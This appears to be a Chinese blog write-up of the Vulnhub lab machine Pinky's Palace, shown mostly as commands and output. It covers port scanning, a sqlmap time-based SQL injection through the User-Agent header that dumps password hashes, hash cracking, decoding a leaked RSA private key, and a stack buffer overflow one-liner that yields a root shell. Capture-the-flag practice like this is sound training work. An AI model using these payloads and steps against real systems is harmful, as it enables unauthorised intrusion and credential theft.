Vulnhub Pinky's Palace靶机解题过程

Pinky Palace

靶机

http://www.vulnhub.com/entry/pinkys-palace-v1,225/

识别目标主机IP地址

──(kali㉿kali)-[~/Vulnhub/Pinksys_Palace]
└─$ sudo netdiscover -i eth1
Currently scanning: 192.168.81.0/16   |   Screen View: Unique Hosts        

 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180            
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:0a      1      60  Unknown vendor           
 192.168.56.100  08:00:27:54:55:cc      1      60  PCS Systemtechnik GmbH   
 192.168.56.140  08:00:27:c5:37:ad      1      60  PCS Systemtechnik GmbH   

利用Kali自带的netdiscover工具识别目标主机的IP地址为192.168.56.140

NMAP扫描

┌──(kali㉿kali)-[~/Vulnhub/Pinksys_Palace]
└─$ sudo nmap -sS -sV -sC -p- 192.168.56.140 -oN nmap_full_scan
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-29 09:57 EDT
Nmap scan report for bogon (192.168.56.140)
Host is up (0.00013s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE    VERSION
8080/tcp  open  http       nginx 1.10.3
|_http-server-header: nginx/1.10.3
|_http-title: 403 Forbidden
31337/tcp open  http-proxy Squid http proxy 3.5.23
|_http-server-header: squid/3.5.23
|_http-title: ERROR: The requested URL could not be retrieved
64666/tcp open  ssh        OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 df:02:12:4f:4c:6d:50:27:6a:84:e9:0e:5b:65:bf:a0 (RSA)
|   256 0a:ad:aa:c7:16:f7:15:07:f0:a8:50:23:17:f3:1c:2e (ECDSA)
|_  256 4a:2d:e5:d8:ee:69:61:55:bb:db:af:29:4e:54:52:2f (ED25519)
MAC Address: 08:00:27:C5:37:AD (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.60 seconds

可以看出目标主机运行nginx(8080端口)、squid代理(31337端口)以及SSH服务(64666端口)

Get Access

──(kali㉿kali)-[~/Vulnhub/Pinksys_Palace]
└─$ curl http://192.168.56.140:8080/
<html>
<head><title>403 Forbidden</title></head>
<body bgcolor="white">
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.10.3</center>
</body>
</html>

也没有robots.txt文件,尝试目录遍历,也没有获得相关的信息。

──(kali㉿kali)-[~/Vulnhub/Pinksys_Palace]
└─$ gobuster dir -u http://192.168.56.140:8080 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt           
===============================================================
Gobuster v3.2.0-dev
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.56.140:8080
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.2.0-dev
[+] Timeout:                 10s
===============================================================
2022/10/29 10:03:00 Starting gobuster in directory enumeration mode
===============================================================
Error: the server returns a status code that matches the provided options for non existing urls. http://192.168.56.140:8080/9b08e8d0-a678-45c6-ad8a-c021a7d1fa42 => 403 (Length: 169). To continue please exclude the status code or the length

既然目标启用了squid代理服务,因此用该代理去访问8080端口

─(kali㉿kali)-[~/Vulnhub/Pinksys_Palace]
└─$ curl -x 192.168.56.140:31337 127.0.0.1:8080
<html>
        <head>
                <title>Pinky's HTTP File Server</title>
        </head>
        <body>
                <center><h1>Pinky's HTTP File Server</h1></center>
                <center><h3>Under Development!</h3></center>
        </body>
<style>
html{
        background: #f74bff;
}
</html>

成功可以访问到网站,此时再用gobuster去遍历目录(加上代理)

──(kali㉿kali)-[~/Vulnhub/Pinksys_Palace]
└─$ gobuster dir -u http://127.0.0.1:8080 --proxy http://192.168.56.140:31337 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt 
===============================================================
Gobuster v3.2.0-dev
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://127.0.0.1:8080
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes:   404
[+] Proxy:                   http://192.168.56.140:31337
[+] User Agent:              gobuster/3.2.0-dev
[+] Timeout:                 10s
===============================================================
2022/10/29 10:09:30 Starting gobuster in directory enumeration mode
===============================================================
/littlesecrets-main   (Status: 301) [Size: 185] [--> http://127.0.0.1:8080/littlesecrets-main/]           

发现了/littersecrets-main目录

用foxyproxy设置浏览器代理(192.168.56.140, 端口31337),然后访问:

简单尝试了一些login bypass后失败,看能否用sqlmap工具,需要设置相应的代理(与gobuster类似)

┌──(kali㉿kali)-[~/Vulnhub/Pinksys_Palace]
└─$ sqlmap -u http://127.0.0.1:8080/littlesecrets-main/login.php --proxy http://192.168.56.140:31337 --level=3 --data="user=admin&pass=admin" --dump
        ___
       __H__                                                                 
 ___ ___[.]_____ ___ ___  {1.6.7#stable}                                     
|_ -| . [.]     | .'| . |                                                    
|___|_  [,]_|_|_|__,|  _|                                                    
      |_|V...       |_|   https://sqlmap.org      
[10:19:16] [INFO] checking if the injection point on User-Agent parameter 'User-Agent' is a false positive                                                
parameter 'User-Agent' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
[10:20:29] [INFO] retrieved: pinky_sec_db
[10:24:09] [INFO] fetching tables for database: 'pinky_sec_db'
[10:24:09] [INFO] fetching number of tables for database 'pinky_sec_db'
[10:24:09] [INFO] retrieved: 2
[10:24:19] [INFO] retrieved: logs
[10:25:34] [INFO] retrieved: users
[10:26:50] [INFO] fetching columns for table 'logs' in database 'pinky_sec_db'
[10:26:50] [INFO] retrieved: 4
[10:26:55] [INFO] retrieved: lid
[10:27:45] [INFO] retrieved: user
[10:28:45] [INFO] retrieved: pass
[10:29:50] [INFO] retrieved: useragent
[10:32:01] [INFO] fetching entries for table 'logs' in database 'pinky_sec_db'
[10:32:01] [INFO] fetching number of entries for table 'logs' in database 'pinky_sec_db'                                                                  
[10:32:01] [INFO] retrieved: 863
──(kali㉿kali)-[~/Vulnhub/Pinksys_Palace]
└─$ sqlmap -u http://127.0.0.1:8080/littlesecrets-main/login.php --proxy http://192.168.56.140:31337 --level=3 --data="user=admin&pass=admin" -D pinky_sec_db -T users --dump 
        ___
       __H__                                                                 
 ___ ___[(]_____ ___ ___  {1.6.7#stable}                                     
|_ -| . [,]     | .'| . |                                                    
|___|_  [.]_|_|_|__,|  _|                                                    
      |_|V...       |_|   https://sqlmap.org                                 

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 10:38:20 /2022-10-29/

[10:38:20] [INFO] resuming back-end DBMS 'mysql' 
[10:38:20] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: User-Agent (User-Agent)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: sqlmap/1.6.7#stable (https://sqlmap.org)' AND (SELECT 4704 FROM (SELECT(SLEEP(5)))aUok) AND 'iTrg'='iTrg
---
[10:38:20] [INFO] the back-end DBMS is MySQL
web application technology: Nginx 1.10.3
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[10:38:20] [INFO] fetching columns for table 'users' in database 'pinky_sec_db'                                                                           
[10:38:20] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
[10:38:20] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
[10:38:42] [INFO] adjusting time delay to 1 second due to good response times
3
[10:38:42] [INFO] retrieved: uid
[10:38:51] [INFO] retrieved: user
[10:39:03] [INFO] retrieved: pass
[10:39:16] [INFO] fetching entries for table 'users' in database 'pinky_sec_db'                                                                           
[10:39:16] [INFO] fetching number of entries for table 'users' in database 'pinky_sec_db'                                                                 
[10:39:16] [INFO] retrieved: 2
[10:39:18] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)
pinky
[10:39:37] [INFO] retrieved: f543dbfeaf238729831a321c7a68bee4
[10:41:17] [INFO] retrieved: 1
[10:41:19] [INFO] retrieved: pinkymanage
[10:41:53] [INFO] retrieved: d60dffed7cc0d87e1f4a11aa06ca73af
[10:43:42] [INFO] retrieved: 2
[10:43:45] [INFO] recognized possible password hashes in column 'pass'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[10:46:08] [INFO] writing hashes to a temporary file '/tmp/sqlmap9nwtr1b412640/sqlmaphashes-mnarewce.txt'                                                 
do you want to crack them via a dictionary-based attack? [Y/n/q] n
Database: pinky_sec_db
Table: users
[2 entries]
+-----+----------------------------------+-------------+
| uid | pass                             | user        |
+-----+----------------------------------+-------------+
| 1   | f543dbfeaf238729831a321c7a68bee4 | pinky       |
| 2   | d60dffed7cc0d87e1f4a11aa06ca73af | pinkymanage |
+-----+----------------------------------+-------------+

[10:46:12] [INFO] table 'pinky_sec_db.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/127.0.0.1/dump/pinky_sec_db/users.csv'             
[10:46:12] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/127.0.0.1'                                               

[*] ending @ 10:46:12 /2022-10-29/

成功拿到了两个用户名以及密码

需要对MD5密码进行破解

──(kali㉿kali)-[~/Vulnhub/Pinksys_Palace]
└─$ john pinkymanage_hash --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
3pinkysaf33pinkysaf3 (?)     
1g 0:00:00:00 DONE (2022-10-29 23:03) 1.960g/s 24435Kp/s 24435Kc/s 24435KC/s 3poetry3..3ositos
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed. 

虽然有些在线MD5网站没能破解该密码,但是用john the ripper工具很快就可以破解出来,在破解之前用Hash-identifier工具识别加密的类型。

(kali㉿kali)-[~/Vulnhub/Pinksys_Palace]
└─$ john pink_hash --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2022-10-29 23:05) 0g/s 27583Kp/s 27583Kc/s 27583KC/s  fuckyooh21..*7¡Vamos!
Session completed. 

另一个用户的密码破解失败,无论怎样,已经有一个用户名和密码,尝试登录SSH

──(kali㉿kali)-[~/Vulnhub/Pinksys_Palace]
└─$ ssh pinkymanage@192.168.56.140 -p 64666
pinkymanage@192.168.56.140's password: 
Linux pinkys-palace 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3+deb9u1 (2017-12-23) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Oct 29 10:05:00 2022 from 192.168.56.137
pinkymanage@pinkys-palace:~$ 

Root提权

pinkymanage@pinkys-palace:~$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for pinkymanage: 
Sorry, try again.
[sudo] password for pinkymanage: 
Sorry, try again.
[sudo] password for pinkymanage: 
Sorry, user pinkymanage may not run sudo on pinkys-palace.
pinkymanage@pinkys-palace:~$ find / -type f -perm /4000 2>/dev/null
/bin/umount
/bin/su
/bin/mount
/bin/ping
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/squid/pinger
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/sudo
pinkymanage@pinkys-palace:~$ ls -alh
total 20K
drwxr-xr-x 2 pinkymanage pinkymanage 4.0K Mar  5  2018 .
drwxr-xr-x 4 root        root        4.0K Feb  2  2018 ..
lrwxrwxrwx 1 root        root           9 Mar  5  2018 .bash_history -> /dev/null                                                                         
-rw-r--r-- 1 pinkymanage pinkymanage  220 Feb  2  2018 .bash_logout
-rw-r--r-- 1 pinkymanage pinkymanage 3.5K Feb  2  2018 .bashrc
-rw-r--r-- 1 pinkymanage pinkymanage  675 Feb  2  2018 .profile
pinkymanage@pinkys-palace:~$ cd /var/www/
pinkymanage@pinkys-palace:/var/www$ ls
html  pinkymanage
pinkymanage@pinkys-palace:/var/www$ cd pinkymanage/
pinkymanage@pinkys-palace:/var/www/pinkymanage$ ls
pinkymanage@pinkys-palace:/var/www/pinkymanage$ ls -alh
total 16K
drwx------ 3 pinkymanage pinkymanage 4.0K Feb  2  2018 .
drwxr-xr-x 4 root        root        4.0K Feb  2  2018 ..
-rw------- 1 pinkymanage pinkymanage  117 Feb  2  2018 .bash_history
drwx------ 2 pinkymanage pinkymanage 4.0K Feb  2  2018 .ssh
pinkymanage@pinkys-palace:/var/www/pinkymanage$ cd .ssh
pinkymanage@pinkys-palace:/var/www/pinkymanage/.ssh$ ls -alh
total 12K
drwx------ 2 pinkymanage pinkymanage 4.0K Feb  2  2018 .
drwx------ 3 pinkymanage pinkymanage 4.0K Feb  2  2018 ..
-rw-r--r-- 1 pinkymanage pinkymanage  222 Feb  2  2018 known_hosts
pinkymanage@pinkys-palace:/var/www/pinkymanage/.ssh$ cd ..
pinkymanage@pinkys-palace:/var/www/pinkymanage$ cd ..
pinkymanage@pinkys-palace:/var/www$ ls
html  pinkymanage
pinkymanage@pinkys-palace:/var/www$ cd html
pinkymanage@pinkys-palace:/var/www/html$ ls -alh
total 16K
drwxr-xr-x 3 root root 4.0K Feb  2  2018 .
drwxr-xr-x 4 root root 4.0K Feb  2  2018 ..
-rw-r--r-- 1 root root  229 Feb  2  2018 index.html
drwxr-xr-x 3 root root 4.0K Feb  2  2018 littlesecrets-main
pinkymanage@pinkys-palace:/var/www/html$ cd littlesecrets-main/
pinkymanage@pinkys-palace:/var/www/html/littlesecrets-main$ ls
index.html  login.php  logs.php  ultrasecretadminf1l35
pinkymanage@pinkys-palace:/var/www/html/littlesecrets-main$ cd ultrasecretadminf1l35/
pinkymanage@pinkys-palace:/var/www/html/littlesecrets-main/ultrasecretadminf1l35$ ls -alh                                                                 
total 16K
drwxr-xr-x 2 root root 4.0K Feb  2  2018 .
drwxr-xr-x 3 root root 4.0K Feb  2  2018 ..
-rw-r--r-- 1 root root   99 Feb  2  2018 note.txt
-rw-r--r-- 1 root root 2.3K Feb  2  2018 .ultrasecret
pinkymanage@pinkys-palace:/var/www/html/littlesecrets-main/ultrasecretadminf1l35$ cat note.txt 
Hmm just in case I get locked out of my server I put this rsa key here.. Nobody will find it heh..
pinkymanage@pinkys-palace:/var/www/html/littlesecrets-main/ultrasecretadminf1l35$ cat .ultrasecret                                                        
LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlFcEFJQkFBS0NBUUVBMTZmeEwzLyto
L0lMVFpld2t2ZWtoSVExeWswb0xJK3kzTjRBSXRraGV6MTFJaGE4CkhjN0tPeC9MOWcyamQzSDhk
R1BVZktLcjlzZXF0Zzk3WktBOTVTL3NiNHczUXRsMUFCdS9wVktaQmJHR3NIRy8KeUl2R0VQS1Mr
QlNaNHN0TVc3SG54N2NpTXVod2Nad0xxWm1zeVN1bUVDVHVlUXN3TlBibElUbHJxb2xwWUY4eApl
NDdFbDlwSHdld05XY0lybXFyYXhDSDVUQzdVaGpnR2FRd21XM3FIeXJTcXAvaksvY3RiMVpwblB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3plcHFNS1hHTW95Ck1FRWVMT3c1NnNK
aFNwMFVkWHlhejlGUUFtdnpTWFVudW8xdCtnTUNnWUVBdWJ4NDJXa0NwU0M5WGtlT3lGaGcKWUdz
TE45VUlPaTlrcFJBbk9seEIzYUQ2RkY0OTRkbE5aaFIvbGtnTTlzMVlPZlJYSWhWbTBaUUNzOHBQ
RVZkQQpIeDE4ci8yRUJhV2h6a1p6bGF5ci9xR29vUXBwUkZtbUozajZyeWZCb21RbzUrSDYyVEE3
bUl1d3Qxb1hMNmM2Ci9hNjNGcVBhbmcyVkZqZmNjL3IrNnFFQ2dZQStBenJmSEZLemhXTkNWOWN1
ZGpwMXNNdENPRVlYS0QxaStSd2gKWTZPODUrT2c4aTJSZEI1RWt5dkprdXdwdjhDZjNPUW93Wmlu
YnErdkcwZ016c0M5Sk54SXRaNHNTK09PVCtDdwozbHNLeCthc0MyVng3UGlLdDh1RWJVTnZEck9Y
eFBqdVJJbU1oWDNZU1EvVUFzQkdSWlhsMDUwVUttb2VUSUtoClNoaU9WUUtCZ1FEc1M0MWltQ3hX
Mm1lNTQxdnR3QWFJcFE1bG81T1Z6RDJBOXRlRVBzVTZGMmg2WDdwV1I2SVgKQTlycExXbWJmeEdn
SjBNVmh4Q2pwZVlnU0M4VXNkTXpOYTJBcGN3T1dRZWtORTRlTHRPN1p2MlNWRHI2Y0lyYwpIY2NF
UCtNR00yZVVmQlBua2FQa2JDUHI3dG5xUGY4ZUpxaVFVa1dWaDJDbll6ZUFIcjVPbUE9PQotLS0t
LUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQo=
pinkymanage@pinkys-palace:/var/www/html/littlesecrets-main/ultrasecretadminf1l35$          

做了一番搜寻,首先pinkymage没有sudo权限,也没有找到SUID位的可执行程序,但是在/var/www/html目录下有个Note.txt,提示这里有个RSA key,打开一看是base64编码过的,简单!!先把它解码再说:

──(kali㉿kali)-[~/Vulnhub/Pinksys_Palace]
└─$ >....                                                                    KzdWRmZPN3lFdnlCeDkKZ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+OOT+Cw
3lsKx+asC2Vx7PiKt8uEbUNvDrOXxPjuRImMhX3YSQ/UAsBGRZXl050UKmoeTIKh
ShiOVQKBgQDsS41imCxW2me541vtwAaIpQ5lo5OVzD2A9teEPsU6F2h6X7pWR6IX
A9rpLWmbfxGgJ0MVhxCjpeYgSC8UsdMzNa2ApcwOWQekNE4eLtO7Zv2SVDr6cIrc
HccEP+MGM2eUfBPnkaPkbCPr7tnqPf8eJqiQUkWVh2CnYzeAHr5OmA==
-----END RSA PRIVATE KEY-----
                                                                             
┌──(kali㉿kali)-[~/Vulnhub/Pinksys_Palace]
└─$ >....                                                                    
KzdWRmZPN3lFdnlCeDkKZ3hyeVN4dTJaMGFPTThRUjZNR2FETWpZVW5COWFUWXV3OEdQNHdJREFR
QUJBb0lCQUE2aUg3U0lhOTRQcDRLeApXMUx0cU9VeEQzRlZ3UGNkSFJidG5YYS80d3k0dzl6M1Mv
WjkxSzBrWURPbkEwT1VvWHZJVmwvS3JmNkYxK2lZCnJsZktvOGlNY3UreXhRRXRQa291bDllQS9r
OHJsNmNiWU5jYjNPbkRmQU9IYWxYQVU4TVpGRkF4OWdrY1NwejYKNkxPdWNOSUp1eS8zUVpOSEZo
TlIrWVJDb0RLbkZuRUlMeFlMNVd6MnFwdFdNWUR1d3RtR3pPOTY4WWJMck9WMQpva1dONmdNaUVp
NXFwckJoNWE4d0JSUVZhQnJMWVdnOFdlWGZXZmtHektveEtQRkt6aEk1ajQvRWt4TERKcXQzCkxB
N0pSeG1Gbjc3L21idmFEVzhXWlgwZk9jUzh1Z3lSQkVOMFZwZG5GNmtsNnRmT1hLR2owZ2QrZ0Fp
dzBUVlIKMkNCN1BzRUNnWUVBOElXM1pzS3RiQ2tSQnRGK1ZUQnE0SzQ2czdTaFc5QVo2K2JwYitk
MU5SVDV4UkpHK0RzegpGM2NnNE4rMzluWWc4bUZ3c0Jobi9zemdWQk5XWm91V3JSTnJERXhIMHl1
NkhPSjd6TFdRYXlVaFFKaUlQeHBjC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0t
LUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQo=" | base64 -d > rsa_key
                                                                             
┌──(kali㉿kali)-[~/Vulnhub/Pinksys_Palace]
└─$ ls
nmap_full_scan  pink_hash  pinkymanage_hash  rsa_key
                                                                             
┌──(kali㉿kali)-[~/Vulnhub/Pinksys_Palace]
└─$ cat rsa_key              
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA16fxL3/+h/ILTZewkvekhIQ1yk0oLI+y3N4AItkhez11Iha8
Hc7KOx/L9g2jd3H8dGPUfKKr9seqtg97ZKA95S/sb4w3Qtl1ABu/pVKZBbGGsHG/
yIvGEPKS+BSZ4stMW7Hnx7ciMuhwcZwLqZmsySumECTueQswNPblITlrqolpYF8x
e47El9pHwewNWcIrmqraxCH5TC7UhjgGaQwmW3qHyrSqp/jK/ctb1ZpnPv+DC833
u/Tyjm6z8RaDZG/gRBIrMGnNbg4pZFhtgbGVOf7feGvBFR8BiT+7VFfO7yEvyBx9
gxrySxu2Z0aOM8QR6MGaDMjYUnB9aTYuw8GP4wIDAQABAoIBAA6iH7SIa94Pp4Kx
W1LtqOUxD3FVwPcdHRbtnXa/4wy4w9z3S/Z91K0kYDOnA0OUoXvIVl/Krf6F1+iY
rlfKo8iMcu+yxQEtPkoul9eA/k8rl6cbYNcb3OnDfAOHalXAU8MZFFAx9gkcSpz6
6LOucNIJuy/3QZNHFhNR+YRCoDKnFnEILxYL5Wz2qptWMYDuwtmGzO968YbLrOV1
okWN6gMiEi5qprBh5a8wBRQVaBrLYWg8WeXfWfkGzKoxKPFKzhI5j4/EkxLDJqt3
LA7JRxmFn77/mbvaDW8WZX0fOcS8ugyRBEN0VpdnF6kl6tfOXKGj0gd+gAiw0TVR
2CB7PsECgYEA8IW3ZsKtbCkRBtF+VTBq4K46s7ShW9AZ6+bpb+d1NRT5xRJG+Dsz
F3cg4N+39nYg8mFwsBhn/szgVBNWZouWrRNrDExH0yu6HOJ7zLWQayUhQJiIPxpc
n/Eed6SrcySfzgmntOib4hyGjF0/wntjMc73xuAVNuO8A6WW+hgVHKECgYEA5YiW
K2vbVNBqEBCP+xrC5dHOBIEWv89BFIm/Fs/esh8uE5Lnj11eP+1EZh2FK92Qx9Yv
y1bMsAkf+ptFUJLck1M20efAaSvOhr5uajnyqCofsSUfKZaa7nPQozepqMKXGMoy
MEEeLOw56sJhSp0UdXyaz9FQAmvzSXUnuo1t+gMCgYEAubx42WkCpSC9XkeOyFhg
YGsLN9UIOi9kpRAnOlxB3aD6FF494dlNZhR/lkgM9s1YOfRXIhVm0ZQCs8pPEVdA
Hx18r/2EBaWhzkZzlayr/qGooQppRFmmJ3j6ryfBomQo5+H62TA7mIuwt1oXL6c6
/a63FqPang2VFjfcc/r+6qECgYA+AzrfHFKzhWNCV9cudjp1sMtCOEYXKD1i+Rwh
Y6O85+Og8i2RdB5EkyvJkuwpv8Cf3OQowZinbq+vG0gMzsC9JNxItZ4sS+OOT+Cw
3lsKx+asC2Vx7PiKt8uEbUNvDrOXxPjuRImMhX3YSQ/UAsBGRZXl050UKmoeTIKh
ShiOVQKBgQDsS41imCxW2me541vtwAaIpQ5lo5OVzD2A9teEPsU6F2h6X7pWR6IX
A9rpLWmbfxGgJ0MVhxCjpeYgSC8UsdMzNa2ApcwOWQekNE4eLtO7Zv2SVDr6cIrc
HccEP+MGM2eUfBPnkaPkbCPr7tnqPf8eJqiQUkWVh2CnYzeAHr5OmA==
-----END RSA PRIVATE KEY-----
                                                                             
┌──(kali㉿kali)-[~/Vulnhub/Pinksys_Palace]
└─$ 

pinky@pinkys-palace:~$ 
pinky@pinkys-palace:~$ ./adminhelper root
root
pinky@pinkys-palace:~$ ./adminhelper $(python -c 'print("A"*100)'
> )
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
pinky@pinkys-palace:~$ ./adminhelper $(python -c 'print("A"*50)'
)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
pinky@pinkys-palace:~$ ./adminhelper $(python -c 'print("A"*80)'
)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
pinky@pinkys-palace:~$ ./adminhelper $(python -c 'print("A"*70)'
)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
pinky@pinkys-palace:~$ ./adminhelper $(python -c 'print("A"*75)'
)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
pinky@pinkys-palace:~$ ./adminhelper $(python -c 'print("A"*73)'
)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
pinky@pinkys-palace:~$ ./adminhelper $(python -c 'print("A"*72)'
)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Bus error

有缓冲区溢出漏洞,而且用二分法测试,测试出边界值为72

pinky@pinkys-palace:~$ ./adminhelper $(python -c "print 'A'*72+'\xd0\x47\x55\x55\x55\x55'")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�GUUUU
# id
uid=1000(pinky) gid=1000(pinky) euid=0(root) egid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),1000(pinky)
# ls -ah
.   .bash_history  .bashrc         .profile  .viminfo     note.txt
..  .bash_logout   .mysql_history  .ssh      adminhelper
# cd /root
# ls -alh
total 40K
drwx------  3 root root 4.0K Mar  5  2018 .
drwxr-xr-x 22 root root 4.0K Jan 28  2018 ..
lrwxrwxrwx  1 root root    9 Feb  1  2018 .bash_history -> /dev/null
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
lrwxrwxrwx  1 root root    9 Feb  2  2018 .mysql_history -> /dev/null
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
drwx------  2 root root 4.0K Feb  2  2018 .ssh
-rw-------  1 root root  15K Mar  5  2018 .viminfo
-rw-r--r--  1 root root  207 Mar  5  2018 root.txt
# cat root.txt
===========[!!!CONGRATS!!!]===========

[+] You r00ted Pinky's Palace Intermediate!
[+] I hope you enjoyed this box!
[+] Cheers to VulnHub!
[+] Twitter: @Pink_P4nther

Flag: 99975cfc5e2eb4c199d38d4a2b2c03ce
# 

(最后一段缓冲区溢出漏洞着实迷糊哈_,参考别人的_)

posted @ 2022-10-30 11:42  Jason_huawen  阅读(557)  评论(0编辑  收藏  举报